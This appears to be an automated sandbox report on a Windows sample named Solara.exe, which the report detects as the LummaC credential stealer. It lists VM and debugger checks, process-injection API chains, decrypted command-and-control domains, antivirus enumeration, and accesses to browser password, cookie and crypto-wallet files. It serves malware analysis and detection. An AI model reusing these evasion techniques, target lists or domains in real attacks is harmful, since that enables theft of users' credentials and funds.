Source: C:\Users\user\Desktop\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Solara.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Solara.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Solara.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Solara.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Solara.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Solara.exe

Static PE information: real checksum: 0x891a5 should be: 0x91a94

Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_0020FB83 push ecx; ret	0_2_0020FB96
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0020FB83 push ecx; ret	2_2_0020FB96
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0043E240 push eax; mov dword ptr [esp], 505352A5h	2_2_0043E244
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0044885C push eax; iretd	2_2_00448860
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00447FED push edx; ret	2_2_00447FEE

Source: C:\Users\user\Desktop\Solara.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Solara.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Solara.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

Window / User API: threadDelayed 6391

Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-19979

Source: C:\Users\user\Desktop\Solara.exe

API coverage: 9.3 %

Source: C:\Users\user\Desktop\Solara.exe TID: 7640	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe TID: 7840	Thread sleep count: 6391 > 30			Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Solara.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Solara.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Solara.exe

Code function: 0_2_00221FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00221FE9

Source: Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000002.2898114535.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2456495685.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj`2
Source: Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000002.2898114535.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2456495685.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Solara.exe, 00000002.00000002.2897950813.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Users\user\Desktop\Solara.exe

API call chain: ExitProcess graph end node

graph_2-34032

Source: C:\Users\user\Desktop\Solara.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

Code function: 2_2_0043CB40 LdrInitializeThunk,

2_2_0043CB40

Source: C:\Users\user\Desktop\Solara.exe

Code function: 0_2_0020F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0020F8E9

Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_0023A19E mov edi, dword ptr fs:[00000030h]	0_2_0023A19E
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00201FB0 mov edi, dword ptr fs:[00000030h]	0_2_00201FB0
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00201FB0 mov edi, dword ptr fs:[00000030h]	2_2_00201FB0

Source: C:\Users\user\Desktop\Solara.exe

Code function: 0_2_0021D8E0 GetProcessHeap,

0_2_0021D8E0

Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_0020F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0020F52D
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_0020F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0020F8E9
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_0020F8DD SetUnhandledExceptionFilter,	0_2_0020F8DD
Source: C:\Users\user\Desktop\Solara.exe	Code function: 0_2_00217E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00217E30
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0020F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0020F52D
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0020F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0020F8E9
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_0020F8DD SetUnhandledExceptionFilter,	2_2_0020F8DD
Source: C:\Users\user\Desktop\Solara.exe	Code function: 2_2_00217E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00217E30

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Solara.exe

Code function: 0_2_0023A19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0023A19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Solara.exe

Memory written: C:\Users\user\Desktop\Solara.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: Solara.exe, 00000000.00000002.1647778505.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\Solara.exe

Process created: C:\Users\user\Desktop\Solara.exe "C:\Users\user\Desktop\Solara.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	0_2_0021D1BD
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00221287
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	0_2_002214D8
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00221580
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	0_2_002217D3
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	0_2_00221840
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	0_2_00221915
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	0_2_00221960
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00221A07
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	0_2_00221B0D
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	0_2_0021CC15
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	2_2_0021D1BD
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00221287
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	2_2_002214D8
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00221580
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	2_2_002217D3
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	2_2_00221840
Source: C:\Users\user\Desktop\Solara.exe	Code function: EnumSystemLocalesW,	2_2_00221915
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	2_2_00221960
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00221A07
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	2_2_00221B0D
Source: C:\Users\user\Desktop\Solara.exe	Code function: GetLocaleInfoW,	2_2_0021CC15

Source: C:\Users\user\Desktop\Solara.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

Code function: 0_2_002100B4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_002100B4

Source: C:\Users\user\Desktop\Solara.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2455760830.0000000002D42000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831766442.0000000002D42000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1792234082.0000000002DE4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Solara.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Solara.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Solara.exe, 00000002.00000003.2455760830.0000000002D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: Solara.exe, 00000002.00000003.2455760830.0000000002D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Solara.exe, 00000002.00000003.1831530096.0000000002DBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","e(
Source: Solara.exe, 00000002.00000003.2455760830.0000000002D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Solara.exe, 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Solara.exe, 00000002.00000003.1831530096.0000000002DBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,{"en":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfje
Source: Solara.exe, 00000002.00000003.2455760830.0000000002D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: Solara.exe, 00000002.00000003.1768091011.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Solara.exe, 00000002.00000003.1831530096.0000000002DCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
